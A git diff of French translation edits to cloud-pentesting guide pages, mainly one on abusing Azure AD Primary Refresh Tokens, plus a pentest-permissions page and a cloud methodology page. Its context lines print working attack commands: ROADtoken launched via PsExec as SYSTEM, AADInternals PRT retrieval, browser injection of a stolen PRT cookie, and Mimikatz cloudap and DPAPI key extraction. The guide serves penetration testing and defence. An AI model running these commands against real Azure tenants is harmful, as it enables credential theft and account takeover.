+Le **Primary Refresh Token (PRT)** actuel est encapsulé dans le **`refresh_token`**, qui est chiffré par une clé sous le contrôle d'Azure AD, rendant son contenu opaque et indécryptable pour nous. Le champ **`is_primary`** signifie l'encapsulation du jeton de rafraîchissement principal dans ce jeton. Pour garantir que le cookie reste lié à la session de connexion spécifique pour laquelle il a été prévu, le `request_nonce` est transmis depuis la page `logon.microsoftonline.com`.
 
 ### Flux de cookie PRT utilisant TPM
 
@@ -49,15 +49,15 @@ Par conséquent, même si le PRT ne peut pas être extrait car il est situé à
 ## Scénarios d'abus de PRT
 
 En tant qu'**utilisateur régulier**, il est possible de **demander l'utilisation du PRT** en demandant à LSASS des données SSO.\
-Cela peut être fait comme des **applications natives** qui demandent des jetons au **Web Account Manager** (courtier de jetons). WAM transmet la demande à **LSASS**, qui demande des jetons en utilisant une assertion PRT signée. Ou cela peut être fait avec des flux **basés sur le navigateur (web)** où un **cookie PRT** est utilisé comme **en-tête** pour authentifier les demandes aux pages de connexion Azure AS.
+Cela peut être fait comme des **applications natives** qui demandent des jetons au **Web Account Manager** (courtier de jetons). WAM passe la demande à **LSASS**, qui demande des jetons en utilisant une assertion PRT signée. Ou cela peut être fait avec des flux **basés sur le navigateur (web)** où un **cookie PRT** est utilisé comme **en-tête** pour authentifier les demandes aux pages de connexion Azure AS.
 
 En tant que **SYSTEM**, vous pourriez **voler le PRT s'il n'est pas protégé** par TPM ou **interagir avec les clés PRT dans LSASS** en utilisant des API cryptographiques.
 
-## Exemples d'attaques Pass-the-PRT
+## Exemples d'attaque Pass-the-PRT
 
 ### Attaque - ROADtoken
 
-Pour plus d'infos sur cette méthode [**consultez ce post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken exécutera **`BrowserCore.exe`** depuis le bon répertoire et l'utilisera pour **obtenir un cookie PRT**. Ce cookie peut ensuite être utilisé avec ROADtools pour s'authentifier et **obtenir un jeton de rafraîchissement persistant**.
+Pour plus d'infos sur cette méthode [**vérifiez ce post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken exécutera **`BrowserCore.exe`** depuis le bon répertoire et l'utilisera pour **obtenir un cookie PRT**. Ce cookie peut ensuite être utilisé avec ROADtools pour s'authentifier et **obtenir un jeton de rafraîchissement persistant**.
 
 Pour générer un cookie PRT valide, la première chose dont vous avez besoin est un nonce.\
 Vous pouvez obtenir cela avec :
@@ -84,7 +84,7 @@ Ensuite, vous pouvez utiliser [**roadtoken**](https://github.com/dirkjanm/ROADto
 ```powershell
 .\ROADtoken.exe 
 ```
-En une ligne :
+En ligne unique :
 ```powershell
 Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
 ```
@@ -100,7 +100,7 @@ Connect-AzureAD --AadAccessToken  --AccountId 
 
 ### Attaque - Utilisation de AADInternals et d'un PRT divulgué
 
-`Get-AADIntUserPRTToken` **récupère le jeton PRT de l'utilisateur** à partir de l'ordinateur joint à Azure AD ou joint hybride. Utilise `BrowserCore.exe` pour obtenir le jeton PRT.
+`Get-AADIntUserPRTToken` **récupère le jeton PRT de l'utilisateur** depuis l'ordinateur joint à Azure AD ou joint de manière hybride. Utilise `BrowserCore.exe` pour obtenir le jeton PRT.
 ```powershell
 # Get the PRToken
 $prtToken = Get-AADIntUserPRTToken
@@ -143,10 +143,10 @@ Value: [Paste your output from above]
 Path: /
 HttpOnly: Set to True (checked)
 ```
-Puis allez sur [https://portal.azure.com](https://portal.azure.com)
+Ensuite, allez sur [https://portal.azure.com](https://portal.azure.com)
 
 > [!CAUTION]
-> Le reste devrait être les valeurs par défaut. Assurez-vous que vous pouvez actualiser la page et que le cookie ne disparaît pas, si c'est le cas, vous avez peut-être fait une erreur et devez recommencer le processus. Si ce n'est pas le cas, vous devriez être bon.
+> Le reste devrait être par défaut. Assurez-vous que vous pouvez actualiser la page et que le cookie ne disparaît pas, sinon, vous avez peut-être fait une erreur et devez recommencer le processus. Si ce n'est pas le cas, vous devriez être bon.
 
 ### Attaque - Mimikatz
 
@@ -180,14 +180,14 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
 

 
 **Copiez** la partie étiquetée **Prt** et enregistrez-la.\
-Extrayez également la clé de session (le **`KeyValue`** du champ **`ProofOfPossesionKey`**) que vous pouvez voir mise en évidence ci-dessous. Elle est chiffrée et nous devrons utiliser nos clés maîtresses DPAPI pour la déchiffrer.
+Extrayez également la clé de session (le **`KeyValue`** du champ **`ProofOfPossesionKey`**) que vous pouvez voir mise en évidence ci-dessous. Cela est chiffré et nous devrons utiliser nos clés maîtresses DPAPI pour le déchiffrer.
 
 

 
 > [!NOTE]
 > Si vous ne voyez aucune donnée PRT, il se peut que vous **n'ayez pas de PRT** parce que votre appareil n'est pas joint à Azure AD ou qu'il se peut que vous **exécutiez une ancienne version** de Windows 10.
 
-Pour **déchiffrer** la clé de session, vous devez **élever** vos privilèges à **SYSTEM** pour fonctionner sous le contexte de l'ordinateur afin de pouvoir utiliser la **clé maîtresse DPAPI pour la déchiffrer**. Vous pouvez utiliser les commandes suivantes pour ce faire :
+Pour **déchiffrer** la clé de session, vous devez **élever** vos privilèges à **SYSTEM** pour fonctionner sous le contexte de l'ordinateur afin de pouvoir utiliser la **clé maîtresse DPAPI pour le déchiffrer**. Vous pouvez utiliser les commandes suivantes pour ce faire :
 ```
 token::elevate
 dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
index 8a3675fcf..b65887e07 100644
--- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
@@ -1,7 +1,7 @@
-# Az - Permissions for a Pentest
+# Az - Permissions pour un Pentest
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Pour commencer les tests, vous devez avoir accès avec un utilisateur ayant des **permissions de lecteur sur la souscription** et un **rôle de lecteur global dans AzureAD**. Si même dans ce cas vous **n'êtes pas en mesure d'accéder au contenu des comptes de stockage**, vous pouvez le corriger avec le **rôle de contributeur de compte de stockage**.
+Pour commencer les tests, vous devez avoir accès avec un utilisateur ayant **des permissions de lecteur sur l'abonnement** et **le rôle de lecteur global dans AzureAD**. Si même dans ce cas vous **n'êtes pas en mesure d'accéder au contenu des comptes de stockage**, vous pouvez le corriger avec le **rôle de contributeur de compte de stockage**.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md
index a05b41455..e8d855b87 100644
--- a/src/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -6,17 +6,17 @@
 
 ## Méthodologie de base
 
-Chaque cloud a ses propres particularités, mais en général, il y a quelques **éléments communs qu'un pentester devrait vérifier** lors du test d'un environnement cloud :
+Chaque cloud a ses propres particularités, mais en général, il y a quelques **choses communes qu'un pentester devrait vérifier** lors du test d'un environnement cloud :
 
 - **Vérifications de référence**
-- Cela vous aidera à **comprendre la taille** de l'environnement et les **services utilisés**
+- Cela vous aidera à **comprendre la taille** de l'environnement et **les services utilisés**
 - Cela vous permettra également de trouver quelques **mauvais configurations rapides** car vous pouvez effectuer la plupart de ces tests avec des **outils automatisés**
 - **Énumération des services**
 - Vous ne trouverez probablement pas beaucoup plus de mauvaises configurations ici si vous avez correctement effectué les tests de référence, mais vous pourriez en trouver certaines qui n'étaient pas recherchées dans le test de référence.
 - Cela vous permettra de savoir **ce qui est exactement utilisé** dans l'environnement cloud
 - Cela aidera beaucoup dans les étapes suivantes
 - **Vérifiez les actifs exposés**
-- Cela peut être fait lors de la section précédente, vous devez **découvrir tout ce qui est potentiellement exposé** à Internet d'une manière ou d'une autre et comment cela peut être accessible.
+- Cela peut être fait lors de la section précédente, vous devez **découvrir tout ce qui est potentiellement exposé** à Internet d'une manière ou d'une autre et comment cela peut être accédé.
 - Ici, je parle d'**infrastructure exposée manuellement** comme des instances avec des pages web ou d'autres ports exposés, et aussi d'autres **services gérés par le cloud qui peuvent être configurés** pour être exposés (comme des bases de données ou des buckets)
 - Ensuite, vous devriez vérifier **si cette ressource peut être exposée ou non** (informations confidentielles ? vulnérabilités ? mauvaises configurations dans le service exposé ?)
 - **Vérifiez les permissions**
@@ -234,11 +234,11 @@ Plus de plugins AWS de Steampipe : [https://github.com/orgs/turbot/repositories?
 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
 
 AWS, GCP, Azure, DigitalOcean.\
-Cela nécessite python2.7 et semble non maintenu.
+Il nécessite python2.7 et semble non maintenu.
 
 ### Nessus
 
-Nessus a un _**Audit Cloud Infrastructure**_ scan prenant en charge : AWS, Azure, Office 365, Rackspace, Salesforce. Certaines configurations supplémentaires dans **Azure** sont nécessaires pour obtenir un **Client Id**.
+Nessus a un _**Audit Cloud Infrastructure**_ scan prenant en charge : AWS, Azure, Office 365, Rackspace, Salesforce. Quelques configurations supplémentaires dans **Azure** sont nécessaires pour obtenir un **Client Id**.
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography  \
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbase collecte des actifs et des relations à partir de services et de systèmes, y compris l'infrastructure cloud, les applications SaaS, les contrôles de sécurité, et plus encore, dans une vue graphique intuitive soutenue par la base de données Neo4j.
+Starbase collecte des actifs et des relations provenant de services et de systèmes, y compris l'infrastructure cloud, les applications SaaS, les contrôles de sécurité, et plus encore, dans une vue graphique intuitive soutenue par la base de données Neo4j.
 
 {{#tabs }}
 {{#tab name="Install" }}